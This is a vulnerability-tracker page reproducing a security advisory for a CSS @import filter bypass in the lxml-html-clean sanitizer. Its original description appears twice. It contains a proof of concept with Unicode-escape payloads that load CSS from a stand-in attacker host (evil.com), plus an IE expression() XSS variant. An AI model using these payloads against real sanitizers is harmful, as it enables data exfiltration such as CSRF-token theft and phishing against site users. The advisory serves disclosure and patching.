Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
6.1
lxml-html-clean allows malicious CSS loading in older browsers
GHSA-hw26-mmpg-fqfg
CVE-2026-28348
GHSA-hw26-mmpg-fqfg
Summary
The lxml-html-clean library has a bug that allows malicious CSS code to be loaded in older browsers. This could potentially allow attackers to steal data from websites. To fix this issue, update to a newer version of lxml-html-clean that has this vulnerability addressed.
What to do
- Update lxml-html-clean to version 0.4.4.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| – | lxml-html-clean | <= 0.4.3 | 0.4.4 |
| fedoralovespython | lxml_html_clean | <= 0.4.4 | – |
| – | lxml-html-clean | <= 0.4.4 | 0.4.4 |
Original title
lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes
Original description
### Summary
The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.
### Details
The root cause is located in `clean.py` (around line 594):
```python
style = style.replace('\\', '')
```
This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement.
Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only).
### PoC
```python
from lxml_html_clean import clean_html
# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>
# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>
```
If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work.
### Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.
The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.
### Details
The root cause is located in `clean.py` (around line 594):
```python
style = style.replace('\\', '')
```
This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement.
Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only).
### PoC
```python
from lxml_html_clean import clean_html
# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>
# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>
```
If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work.
### Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.
ghsa CVSS3.1
6.1
Vulnerability type
CWE-116
- https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-hw26-m...
- https://github.com/fedora-python/lxml_html_clean/commit/2ef732667ddbc74ea59847bc...
- https://nvd.nist.gov/vuln/detail/CVE-2026-28348
- https://github.com/advisories/GHSA-hw26-mmpg-fqfg
- https://github.com/fedora-python/lxml_html_clean Product
Published: 2 Mar 2026 · Updated: 11 Mar 2026 · First seen: 6 Mar 2026